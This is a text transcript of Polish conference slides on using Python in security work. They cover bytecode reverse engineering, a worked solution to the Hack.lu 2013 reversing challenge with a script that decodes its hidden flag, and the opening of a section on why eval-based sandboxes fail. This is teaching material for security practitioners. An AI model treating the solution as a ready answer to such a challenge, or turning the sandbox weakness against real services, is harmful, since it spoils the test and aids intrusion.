python in a hacker's toolbox - instytut pwn · python in a hacker's toolbox v. 2016...

162
Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016

Upload: dangtuyen

Post on 30-Apr-2018

229 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python in a hacker's toolboxv. 2016

Gynvael ColdwindSecurity PWNing Conference, Warszawa 2016

Page 2: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Keynote?

Raczej prelekcja techniczna.

Page 3: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

O prelegencie

All opinions expressed during this presentations are mine and mine alone. They are not opinions of my lawyer, barber and especially not my employer.

Page 4: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Menu

Język i VM

RE

Sandboxing

Bezpieczeństwo

Page 5: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Ta prezentacja zawiera fragmenty

● Data, data, data...

● "On the battlefield with the dragons" (+ Mateusz Jurczyk)

● "Ataki na systemy i sieci komputerowe"

● "Pwning (sometimes) with style - Dragons' notes on CTFs" (+ Mateusz Jurczyk)

● "Python in a hacker's toolbox"

Page 6: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Język i VM

Page 7: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python

Page 8: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python

Język rozwijany przezPython Software Foundation

Page 9: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python

Język rozwijany przezPython Software Foundation

Python Enhancement Proposal(w skrócie: PEP)

Page 10: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python

Język rozwijany przezPython Software Foundation

Python Enhancement Proposal(w skrócie: PEP)

Page 11: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python Implementacje

https://wiki.python.org/moin/PythonImplementations

Page 12: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python Implementacje

Brython

PyMite

IronPython

HotPy

CPython

pyvm

Jython

pyjs

CLPython

PyPy

SNAPpyRapydScript

tinypy

https://wiki.python.org/moin/PythonImplementations

Page 13: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python Implementacje

Jython

https://wiki.python.org/moin/PythonImplementations

Page 14: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python Implementacje

Brython

https://wiki.python.org/moin/PythonImplementations

Page 15: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python Implementacje

IronPython

https://wiki.python.org/moin/PythonImplementations

Page 16: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python Implementacje

CPython

https://wiki.python.org/moin/PythonImplementations

Implementacja wzorcowa

Page 17: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

CPython

2.7

3.X

Page 18: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

CPython

2.7

3.X

O tym jest ta prezentacja

Page 19: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python Kompilatory GCC

Compyler

Pyc

Cython

2c-python

Nuitka

Shed Skin unPython

https://wiki.python.org/moin/PythonImplementations

Page 20: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python Bundlery("freezery") cx_Freeze

py2app

bbfreeze

PyInstaller

py2exe

http://tynecki.pl/pdf/A-comparison-of-reverse-engineering-methods-for-Python-compiled-binaries-Piotr-Tynecki.pdf

Page 21: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python jako język programowania (1 IV)

Page 22: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python jako język programowania (1 IV)

Page 23: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python jako język programowania (1 IV)

Page 24: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python jako język programowania (1 IV)

Page 25: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python jako język programowania (1 IV)

Page 26: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python jako język programowania (1 IV)

Page 27: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python jako język programowania (1 IV)

http://gynvael.coldwind.pl/?id=599

Page 28: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python jako język programowania

obiektowy

dynamicznie typowany

bardzo rozsądne inty

masa bibliotek

świetna introspekcja

Page 29: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

RE

Page 30: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

PY → PYC → PY

def func(a): print(a+1)

func(41)

python -m compileall simple.py

Page 31: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

PY → PYC → PY

sygnatura wersjiznak nowej linii

timestamp

>>> print( datetime.datetime.fromtimestamp(0x58206240))2016-11-07 12:15:12

Page 32: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

PY → PYC → PYzserializowany

obiekt klasy code

Page 33: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

PY → PYC → PY>>> import marshal>>> marshal.loads(open("simple.pyc").read()[8:])<code object <module> at 0x7fdcd3fa66b0, file "simple.py", line 1>

Page 34: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

PY → PYC → PY>>> import marshal>>> marshal.loads(open("simple.pyc").read()[8:])<code object <module> at 0x7fdcd3fa66b0, file "simple.py", line 1>

>>> import dis>>> dis.dis(c) 1 0 LOAD_CONST 0 (<code object func at...>) 3 MAKE_FUNCTION 0 6 STORE_NAME 0 (func)

4 9 LOAD_NAME 0 (func) 12 LOAD_CONST 1 (41) 15 CALL_FUNCTION 1 18 POP_TOP 19 LOAD_CONST 2 (None) 22 RETURN_VALUE

kod bajtowy maszyny stosowej

Page 35: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

PY → PYC → PY

>>> import dis>>> dis.dis(c) 1 0 LOAD_CONST 0 (<code object func at...>) 3 MAKE_FUNCTION 0 6 STORE_NAME 0 (func)

4 9 LOAD_NAME 0 (func) 12 LOAD_CONST 1 (41) 15 CALL_FUNCTION 1 18 POP_TOP 19 LOAD_CONST 2 (None) 22 RETURN_VALUE

func = MAKE_FUNCTION(CONST[0])

func(41)return None

Page 36: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

PY → PYC → PY

>>> dis.dis(c.co_consts[0]) 2 0 LOAD_FAST 0 (a) 3 LOAD_CONST 1 (1) 6 BINARY_ADD 7 PRINT_ITEM 8 PRINT_NEWLINE 9 LOAD_CONST 0 (None) 12 RETURN_VALUE

func = MAKE_FUNCTION(CONST[0])

Page 37: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

PY → PYC → PY

>>> dis.dis(c.co_consts[0]) 2 0 LOAD_FAST 0 (a) 3 LOAD_CONST 1 (1) 6 BINARY_ADD 7 PRINT_ITEM 8 PRINT_NEWLINE 9 LOAD_CONST 0 (None) 12 RETURN_VALUE

print(a+1)return None

func = MAKE_FUNCTION(CONST[0])

Page 38: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

PY → PYC → PY

def func(a): print(a+1) return None

func(41)return None

def func(a): print(a+1)

func(41)

Easy Python Decompiler - https://sourceforge.net/projects/easypythondecompiler/Decompyle++: https://github.com/zrax/pycdcuncompyle2: https://github.com/Mysterie/uncompyle2

Page 39: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Kod bajtowy a wersje CPython

http://gynvael.coldwind.pl/rebook/py_opcodes.html

Page 40: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Przykład RE

Page 41: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

What’s wrong with this? (Hack.lu 2013, 250)

hello.tar

Page 42: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

library.zip

...__main__hello__.pyc

...

What’s wrong with this? (Hack.lu 2013, 250)

Page 43: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

__main__hello__.pychttp://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html

[Names] 'sys' 'hashlib' 'sha256' 'dis' 'multiprocessing' 'UserList' 'encrypt_string' 'rot_chr' 'SECRET' 'argv'

What’s wrong with this? (Hack.lu 2013, 250)

Page 44: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

__main__hello__.pychttp://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html

[Names] 'sys' 'hashlib' 'sha256' 'dis' 'multiprocessing' 'UserList' 'encrypt_string' 'rot_chr' 'SECRET' 'argv'

[Code] Object Name: encrypt_string...[Disassembly] 0 BUILD_LIST 0 3 STORE_FAST 1: new_str 6 SETUP_LOOP 99 (to 108) 9 LOAD_GLOBAL 0: enumerate 12 LOAD_FAST 0: s 15 CALL_FUNCTION 1 18 <INVALID>

What’s wrong with this? (Hack.lu 2013, 250)

Page 45: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

__main__hello__.pychttp://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html

[Names] 'sys' 'hashlib' 'sha256' 'dis' 'multiprocessing' 'UserList' 'encrypt_string' 'rot_chr' 'SECRET' 'argv'

# Source Generated with Decompyle++# File: __main__hello__.pyc (...)

import sysimport disimport multiprocessingimport UserList

def encrypt_string(s): pass# WARNING: Decompyle incomplete

What’s wrong with this? (Hack.lu 2013, 250)

Page 46: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Autorzy zadania zmodyfikowali kod bajtowy CPython.

What’s wrong with this? (Hack.lu 2013, 250)

Page 47: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Autorzy zadania zmodyfikowali kod bajtowy CPython.Na przykład:

...114 LOAD_FAST 1: new_str117 CALL_FUNCTION 1120 IMPORT_STAR<the end>

What’s wrong with this? (Hack.lu 2013, 250)

Page 48: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Autorzy zadania zmodyfikowali kod bajtowy CPython.Na przykład:

...114 LOAD_FAST 1: new_str117 CALL_FUNCTION 1120 IMPORT_STAR<the end>

#define RETURN_VALUE 83 #define IMPORT_STAR 84

What’s wrong with this? (Hack.lu 2013, 250)

Page 49: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

53 ↔ 54

62 ↔ 63

44 ↔ 45

19 ↔ 18

57 ↔ 58

What’s wrong with this? (Hack.lu 2013, 250)

Page 50: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

53 ↔ 54DELETE_SLICE vs STORE_MAP

62 ↔ 63BINARY_LSHIFT vs BINARY_RSHIFT

44 ↔ 45? vs ?

19 ↔ 18BINARY_POWER vs ?

57 ↔ 58INPLACE_MULTIPLY vs INPLACE_DIVIDE

What’s wrong with this? (Hack.lu 2013, 250)

Page 51: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

BUILD_LIST 0STORE_FAST 1 (new_str)

SETUP_LOOP 98 (to 107)...GET_ITER

...COMPARE_OP 2 (==)POP_JUMP_IF_FALSE 68

LOAD_FAST 1 (new_str)...JUMP_ABSOLUTE 19

LOAD_FAST 1 (new_str)...JUMP_ABSOLUTE 19

POP_BLOCK ...RETURN_VALUE

FOR_ITER 85 (to 107)

encrypt_string

What’s wrong with this? (Hack.lu 2013, 250)

Page 52: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

LOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

rot_chr

What’s wrong with this? (Hack.lu 2013, 250)

Page 53: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 54: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>

<element na stosie>

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 55: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 56: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)ord(c) <33>

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 57: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)ord(c) <33>ord(c)-33

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 58: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)ord(c) <33>ord(c)-33ord(c)-33 <amount>

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 59: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)ord(c) <33>ord(c)-33ord(c)-33 <amount>ord(c)-33+amount

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 60: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)ord(c) <33>ord(c)-33ord(c)-33 <amount>ord(c)-33+amountord(c)-33+amount <94>

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 61: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)ord(c) <33>ord(c)-33ord(c)-33 <amount>ord(c)-33+amountord(c)-33+amount <94>(ord(c)-33+amount) % 94

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 62: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)ord(c) <33>ord(c)-33ord(c)-33 <amount>ord(c)-33+amountord(c)-33+amount <94>(ord(c)-33+amount) % 94(ord(c)-33+amount) % 94 <33>

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 63: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)ord(c) <33>ord(c)-33ord(c)-33 <amount>ord(c)-33+amountord(c)-33+amount <94>(ord(c)-33+amount) % 94(ord(c)-33+amount) % 94 <33>(ord(c)-33+amount) % 94 + 33

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADDCALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 64: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)ord(c) <33>ord(c)-33ord(c)-33 <amount>ord(c)-33+amountord(c)-33+amount <94>(ord(c)-33+amount) % 94(ord(c)-33+amount) % 94 <33>(ord(c)-33+amount) % 94 + 33chr((ord(c)-33+amount) % 94 + 33)

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 65: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

<c>ord(c)ord(c) <33>ord(c)-33ord(c)-33 <amount>ord(c)-33+amountord(c)-33+amount <94>(ord(c)-33+amount) % 94(ord(c)-33+amount) % 94 <33>(ord(c)-33+amount) % 94 + 33chr((ord(c)-33+amount) % 94 + 33)return chr(ord(c)-33+amount) % 94 + 33)

rot_chrLOAD_GLOBAL 0 (chr)LOAD_GLOBAL 1 (ord)LOAD_FAST 0 (c)CALL_FUNCTION 1LOAD_CONST 1 (33)BINARY_SUB LOAD_FAST 1 (amount)BINARY_ADDLOAD_CONST 2 (94)BINARY_MODULELOAD_CONST 1 (33)BINARY_ADD CALL_FUNCTION 0RETURN_VALUE

What’s wrong with this? (Hack.lu 2013, 250)

Page 66: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

def rot_xchr(c, amount): if amount < 0: amount += 94 return chr(((ord(c) - 33) + amount) % 94 + 33)

SECRET = 'w*0;CNU[\\gwPWk}3:PWk"#&:ABu/:Hi,M'

x = rot_xchr(SECRET[0], -10)i = 0for ch in SECRET[1:]: x += rot_xchr(ch, -ord(SECRET[i])) i += 1print x

What’s wrong with this? (Hack.lu 2013, 250)

Page 67: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

RE dla odważnych (zadanie domowe)

Page 68: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Zadanie domowe dla chętnych

http://gynvael.coldwind.pl/?id=602

Page 69: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Sandboxing

Page 70: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Sandoxing?

eval("kod do wykonania", {środowisko globalne}, {środowisko lokalne})

>>> eval("open('asdf')", {"__builtins__":{}}, {})Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 1, in <module>NameError: name 'open' is not defined

UWAGA:Tego typu sandboxingNIE DZIAŁA.

Page 71: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Sandboxing - przykład 1

Page 72: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Kalkulator

Prosty widget na stronie.

„Sandbox”(jedynie ilustracja)

